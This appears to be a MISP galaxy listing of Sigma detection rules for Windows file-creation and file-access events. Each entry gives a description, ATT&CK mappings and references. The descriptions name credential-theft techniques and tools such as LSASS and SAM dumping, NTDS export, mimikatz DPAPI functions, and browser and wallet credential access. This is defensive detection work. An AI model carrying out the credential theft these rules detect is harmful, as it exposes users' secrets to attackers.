ISO File Created Within Temp Folders has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 14815. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image
https://twitter.com/Sam0x90/status/1552011547974696960
https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_mount.yml

Drop Binaries Into Spool Drivers Color Folder

Detects the creation of suspcious binary files inside the "\windows\system32\spool\drivers\color\" as seen in the blog referenced below

The tag is: *misp-galaxy:sigma-rules="Drop Binaries Into Spool Drivers Color Folder"*

Table 14816. Table References

Links
https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_spool_drivers_color_drop.yml

Suspicious File Drop by Exchange

Detects suspicious file type dropped by an Exchange component in IIS

The tag is: *misp-galaxy:sigma-rules="Suspicious File Drop by Exchange"*

View relationships graph

Suspicious File Drop by Exchange has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 14817. Table References

Links
https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html
https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html
https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_exchange_webshell_drop_suspicious.yml

LiveKD Driver Creation

Detects the creation of the LiveKD driver, which is used for live kernel debugging

The tag is: *misp-galaxy:sigma-rules="LiveKD Driver Creation"*

Table 14818. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_livekd_driver.yml

HackTool - Dumpert Process Dumper Default File

Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory

The tag is: *misp-galaxy:sigma-rules="HackTool - Dumpert Process Dumper Default File"*

View relationships graph

HackTool - Dumpert Process Dumper Default File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14819. Table References

Links
https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/
https://github.com/outflanknl/Dumpert
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_dumpert.yml

ADSI-Cache File Creation By Uncommon Tool

Detects the creation of an "Active Directory Schema Cache File" (.sch) file by an uncommon tool.

The tag is: *misp-galaxy:sigma-rules="ADSI-Cache File Creation By Uncommon Tool"*

View relationships graph

ADSI-Cache File Creation By Uncommon Tool has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Protocol or Service Impersonation - T1001.003" with estimative-language:likelihood-probability="almost-certain"

Table 14820. Table References

Links
https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961
https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/
https://github.com/fox-it/LDAPFragger
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_adsi_cache_creation_by_uncommon_tool.yml

HackTool - Impacket File Indicators

Detects file creation events with filename patterns used by Impacket.

The tag is: *misp-galaxy:sigma-rules="HackTool - Impacket File Indicators"*

View relationships graph

HackTool - Impacket File Indicators has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14821. Table References

Links
https://thedfirreport.com/2025/05/19/another-confluence-bites-the-dust-falling-to-elpaco-team-ransomware/
https://github.com/fortra/impacket
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_impacket_file_indicators.yml

Office Macro File Creation

Detects the creation of a new office macro files on the systems

The tag is: *misp-galaxy:sigma-rules="Office Macro File Creation"*

View relationships graph

Office Macro File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 14822. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md
https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_created.yml

ADExplorer Writing Complete AD Snapshot Into .dat File

Detects the dual use tool ADExplorer writing a complete AD snapshot into a .dat file. This can be used by attackers to extract data for Bloodhound, usernames for password spraying or use the meta data for social engineering. The snapshot doesn't contain password hashes but there have been cases, where administrators put passwords in the comment field.

The tag is: *misp-galaxy:sigma-rules="ADExplorer Writing Complete AD Snapshot Into .dat File"*

View relationships graph

ADExplorer Writing Complete AD Snapshot Into .dat File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"

Table 14823. Table References

Links
https://trustedsec.com/blog/adexplorer-on-engagements

https://www.packetlabs.net/posts/scattered-spider-is-a-young-ransomware-gang-exploiting-large-corporations/
https://www.nccgroup.com/us/research-blog/lapsus-recent-techniques-tactics-and-procedures/
https://github.com/c3c/ADExplorerSnapshot.py/tree/f700904defac330802bbfedd1d8ffd9248f4ee24
https://learn.microsoft.com/de-de/sysinternals/downloads/adexplorer
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_adexplorer_dump_written.yml

Potential Privilege Escalation Attempt Via .Exe.Local Technique

Detects potential privilege escalation attempt via the creation of the "*.Exe.Local" folder inside the "System32" directory in order to sideload "comctl32.dll"

The tag is: *misp-galaxy:sigma-rules="Potential Privilege Escalation Attempt Via .Exe.Local Technique"*

Table 14824. Table References

Links
https://github.com/binderlabs/DirCreate2System
https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_system32_local_folder_privilege_escalation.yml

Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream

Detects the creation of hidden file/folder with the "::$index_allocation" stream. Which can be used as a technique to prevent access to folder and files from tooling such as "explorer.exe" and "powershell.exe"

The tag is: *misp-galaxy:sigma-rules="Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream"*

View relationships graph

Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 14825. Table References

Links

https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/
https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/
https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation
https://twitter.com/pfiatde/status/1681977680688738305
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_hidden_dir_index_allocation.yml

Suspicious File Created by ArcSOC.exe

Detects instances where the ArcGIS Server process ArcSOC.exe, which hosts REST services running on an ArcGIS server, creates a file with suspicious file type, indicating that it may be an executable, script file, or otherwise unusual.

The tag is: *misp-galaxy:sigma-rules="Suspicious File Created by ArcSOC.exe"*

View relationships graph

Suspicious File Created by ArcSOC.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution - T1127" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 14826. Table References

Links
https://enterprise.arcgis.com/en/server/12.0/administer/windows/inside-an-arcgis-server-site.htm
https://reliaquest.com/blog/threat-spotlight-inside-flax-typhoons-arcgis-compromise/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_arcsoc_susp_file_created.yml

Suspicious Get-Variable.exe Creation

Get-Variable is a valid PowerShell cmdlet WindowsApps is by default in the path where PowerShell is executed. So when the Get-Variable command is issued on PowerShell execution, the system first looks for the Get-Variable executable in the path and executes the malicious binary instead of looking for the PowerShell cmdlet.

The tag is: *misp-galaxy:sigma-rules="Suspicious Get-Variable.exe Creation"*

View relationships graph

Suspicious Get-Variable.exe Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 14827. Table References

Links
https://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/
https://www.joesandbox.com/analysis/465533/0/html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_get_variable.yml

WScript or CScript Dropper - File

Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe

The tag is: *misp-galaxy:sigma-rules="WScript or CScript Dropper - File"*

View relationships graph

WScript or CScript Dropper - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 14828. Table References

Links
WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)[WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_cscript_wscript_dropper.yml

Suspicious Double Extension Files

Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that Windows hide default extensions by default.

The tag is: *misp-galaxy:sigma-rules="Suspicious Double Extension Files"*

View relationships graph

Suspicious Double Extension Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"

Table 14829. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/
https://www.cybereason.com/blog/research/a-bazar-of-tricks-following-team9s-development-cycles
https://twitter.com/malwrhunterteam/status/1235135745611960321
https://cloud.google.com/blog/topics/threat-intelligence/cybercriminals-weaponize-fake-ai-websites
https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations
https://vipre.com/blog/svg-phishing-attacks-the-new-trick-in-the-cybercriminals-playbook/
https://twitter.com/luc4m/status/1073181154126254080
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_double_extension.yml

Potential Initial Access via DLL Search Order Hijacking

Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.

The tag is: *misp-galaxy:sigma-rules="Potential Initial Access via DLL Search Order Hijacking"*

View relationships graph

Potential Initial Access via DLL Search Order Hijacking has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 14830. Table References

Links
https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0
https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_initial_access_dll_search_order_hijacking.yml

Suspicious File Created Via OneNote Application

Detects suspicious files created via the OneNote application. This could indicate a potential malicious ".one"/".onepkg" file was executed as seen being used in malware activity in the wild

The tag is: *misp-galaxy:sigma-rules="Suspicious File Created Via OneNote Application"*

Table 14831. Table References

Links
https://www.trustedsec.com/blog/new-attacks-old-tricks-how-onenote-malware-is-evolving/
https://labs.withsecure.com/publications/detecting-onenote-abuse
https://app.any.run/tasks/17f2d378-6d11-4d6f-8340-954b04f35e83/
https://twitter.com/MaD_c4t/status/1623414582382567424
https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/
https://www.bleepingcomputer.com/news/security/hackers-now-use-microsoft-onenote-attachments-to-spread-malware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_onenote_susp_dropped_files.yml

Office Macro File Download

Detects the creation of a new office macro files on the system via an application (browser, mail client). This can help identify potential malicious activity, such as the download of macro-enabled documents that could be used for exploitation.

The tag is: *misp-galaxy:sigma-rules="Office Macro File Download"*

View relationships graph

Office Macro File Download has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 14832. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1566.001/T1566.001.md
https://learn.microsoft.com/en-us/deployoffice/compat/office-file-format-reference
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_macro_files_downloaded.yml

HackTool - Powerup Write Hijack DLL

Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation. In it's default mode, it builds a self deleting .bat file which executes malicious command. The detection rule relies on creation of the malicious bat file (debug.bat by default).

The tag is: *misp-galaxy:sigma-rules="HackTool - Powerup Write Hijack DLL"*

View relationships graph

HackTool - Powerup Write Hijack DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 14833. Table References

Links
https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_powerup_dllhijacking.yml

Visual Studio Code Tunnel Remote File Creation

Detects the creation of file by the "node.exe" process in the ".vscode-server" directory. Could be a sign of remote file creation via VsCode tunnel feature

The tag is: *misp-galaxy:sigma-rules="Visual Studio Code Tunnel Remote File Creation"*

Table 14834. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_vscode_tunnel_remote_creation_artefacts.yml

EVTX Created In Uncommon Location

Detects the creation of new files with the ".evtx" extension in non-common or non-standard

location. This could indicate tampering with default EVTX locations in order to evade security controls or simply exfiltration of event log to search for sensitive information within. Note that backup software and legitimate administrator might perform similar actions during troubleshooting.

The tag is: *misp-galaxy:sigma-rules="EVTX Created In Uncommon Location"*

View relationships graph

EVTX Created In Uncommon Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 14835. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/eventlog/eventlog-key
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_evtx_non_common_locations.yml

VsCode Powershell Profile Modification

Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence

The tag is: *misp-galaxy:sigma-rules="VsCode Powershell Profile Modification"*

View relationships graph

VsCode Powershell Profile Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"

Table 14836. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_vscode_powershell_profile.yml

BloodHound Collection Files

Detects default file names outputted by the BloodHound collection tool SharpHound

The tag is: *misp-galaxy:sigma-rules="BloodHound Collection Files"*

View relationships graph

BloodHound Collection Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14837. Table References

Links
https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound—data-collection
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_bloodhound_collection.yml

HackTool - NPPSpy Hacktool Usage

Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file

The tag is: *misp-galaxy:sigma-rules="HackTool - NPPSpy Hacktool Usage"*

Table 14838. Table References

Links
https://twitter.com/0gtweet/status/1465282548494487554
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_nppspy.yml

Suspicious Creation TXT File in User Desktop

Ransomware create txt file in the user Desktop

The tag is: *misp-galaxy:sigma-rules="Suspicious Creation TXT File in User Desktop"*

View relationships graph

Suspicious Creation TXT File in User Desktop has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 14839. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1486/T1486.md#atomic-test-5---purelocker-ransom-note
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_desktop_txt.yml

GoToAssist Temporary Installation Artefact

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: *misp-galaxy:sigma-rules="GoToAssist Temporary Installation Artefact"*

View relationships graph

GoToAssist Temporary Installation Artefact has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14840. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_gotoopener_artefact.yml

Creation Of Non-Existent System DLL

Detects creation of specific system DLL files that are usually not present on the system (or at least not in system directories) but may be loaded by legitimate processes. Phantom DLL hijacking involves placing malicious DLLs with names of non-existent system binaries in locations where legitimate applications may search for them, leading to execution of the malicious DLLs. Thus, the creation of such DLLs may indicate preparation for phantom DLL hijacking attacks.

The tag is: *misp-galaxy:sigma-rules="Creation Of Non-Existent System DLL"*

View relationships graph

Creation Of Non-Existent System DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 14841. Table References

Links
https://itm4n.github.io/cdpsvc-dll-hijacking/
https://x.com/0gtweet/status/1564131230941122561
https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/
https://securelist.com/passiveneuron-campaign-with-apt-implants-and-cobalt-strike/117745/
http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
https://www.hexacorn.com/blog/2025/06/14/wpr-exe-boottrace-phantom-dll-axeonoffhelper-dll-lolbin/
https://decoded.avast.io/martinchlumecky/png-steganography/
https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/
https://www.hexacorn.com/blog/2025/06/14/wermgr-exe-boot-offdmpsvc-dll-lolbin/
https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/
https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
https://github.com/blackarrowsec/redteam-research/tree/26e6fc0c0d30d364758fa11c2922064a9a7fd309/LPE%20via%20StorSvc
https://github.com/Wh04m1001/SysmonEoP
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_create_non_existent_dlls.yml

Suspicious File Created In PerfLogs

Detects suspicious file based on their extension being created in "C:\PerfLogs\". Note that this directory mostly contains ".etl" files

The tag is: *misp-galaxy:sigma-rules="Suspicious File Created In PerfLogs"*

View relationships graph

Suspicious File Created In PerfLogs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 14842. Table References

Links
https://labs.withsecure.com/publications/fin7-target-veeam-servers
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_perflogs_susp_files.yml

Remote Access Tool - ScreenConnect Temporary File

Detects the creation of files in a specific location by ScreenConnect RMM. ScreenConnect has feature to remotely execute binaries on a target machine. These binaries will be dropped to ":\Users\<username>\Documents\ConnectWiseControl\Temp\" before execution.

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Temporary File"*

View relationships graph

Remote Access Tool - ScreenConnect Temporary File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 14843. Table References

Links
https://github.com/SigmaHQ/sigma/pull/4467
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_remote_access_tools_screenconnect_remote_file.yml

NTDS Exfiltration Filename Patterns

Detects creation of files with specific name patterns seen used in various tools that export the NTDS.DIT for exfiltration.

The tag is: *misp-galaxy:sigma-rules="NTDS Exfiltration Filename Patterns"*

View relationships graph

NTDS Exfiltration Filename Patterns has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-

language:likelihood-probability="almost-certain"

Table 14844. Table References

Links
https://github.com/SecureAuthCorp/impacket/blob/7d2991d78836b376452ca58b3d14daa61b67cb40/impacket/examples/secretsdump.py#L2405
https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/data/post/powershell/NTDSgrab.ps1
https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/post/windows/gather/ntds_grabber.rb
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_exfil_tools.yml

Potential SAM Database Dump

Detects the creation of files that look like exports of the local SAM (Security Account Manager)

The tag is: *misp-galaxy:sigma-rules="Potential SAM Database Dump"*

View relationships graph

Potential SAM Database Dump has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 14845. Table References

Links
https://github.com/HuskyHacks/ShadowSteal
https://github.com/FireFart/hivenightmare
https://web.archive.org/web/20210725081645/https://github.com/cube0x0/CVE-2021-36934
https://www.google.com/search?q=%22reg.exe+save%22+sam
https://github.com/search?q=CVE-2021-36934
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sam_dump.yml

Suspicious Appended Extension

Detects file renames where the target filename uses an uncommon double extension. Could indicate potential ransomware activity renaming files and adding a custom extension to the encrypted files, such as ".jpg.crypted", ".docx.locky", etc.

The tag is: *misp-galaxy:sigma-rules="Suspicious Appended Extension"*

View relationships graph

Suspicious Appended Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Table 14846. Table References

Links
https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/
https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_ransomware.yml

Access To Windows DPAPI Master Keys By Uncommon Applications

Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::masterkey" function

The tag is: *misp-galaxy:sigma-rules="Access To Windows DPAPI Master Keys By Uncommon Applications"*

View relationships graph

Access To Windows DPAPI Master Keys By Uncommon Applications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"

Table 14847. Table References

Links
http://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_dpapi_master_key_access.yml

Credential Manager Access By Uncommon Applications

Detects suspicious processes based on name and location that access the windows credential manager and vault. Which can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::cred" function

The tag is: *misp-galaxy:sigma-rules="Credential Manager Access By Uncommon Applications"*

View relationships graph

Credential Manager Access By Uncommon Applications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 14848. Table References

Links
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_credential_manager_access.yml

Access To Potentially Sensitive Sysvol Files By Uncommon Applications

Detects file access requests to potentially sensitive files hosted on the Windows Sysvol share.

The tag is: *misp-galaxy:sigma-rules="Access To Potentially Sensitive Sysvol Files By Uncommon Applications"*

View relationships graph

Access To Potentially Sensitive Sysvol Files By Uncommon Applications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

Table 14849. Table References

Links
https://github.com/vletoux/pingcastle
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_gpo_files.yml

Access To Crypto Currency Wallets By Uncommon Applications

Detects file access requests to crypto currency files by uncommon processes. Could indicate potential attempt of crypto currency wallet stealing.

The tag is: *misp-galaxy:sigma-rules="Access To Crypto Currency Wallets By Uncommon Applications"*

View relationships graph

Access To Crypto Currency Wallets By Uncommon Applications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 14850. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_susp_crypto_currency_wallets.yml

Microsoft Teams Sensitive File Access By Uncommon Applications

Detects file access attempts to sensitive Microsoft teams files (leveldb, cookies) by an uncommon process.

The tag is: *misp-galaxy:sigma-rules="Microsoft Teams Sensitive File Access By Uncommon Applications"*

View relationships graph

Microsoft Teams Sensitive File Access By Uncommon Applications has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

Table 14851. Table References

Links
https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/
https://www.vectra.ai/blog/undermining-microsoft-teams-security-by-mining-tokens
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_access/file_access_win_teams_sensitive_files.yml

Suspicious File Access to Browser Credential Storage

Detects file access to browser credential storage paths by non-browser processes, which may indicate credential access attempts. Adversaries may attempt to access browser credential storage to extract sensitive information such as usernames and passwords or cookies. This behavior is often commonly observed in credential stealing malware.

The tag is: *misp-galaxy:sigma-rules="Suspicious File Access to Browser Credential Storage"*

View relationships graph

Suspicious File Access to Browser Credential Storage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
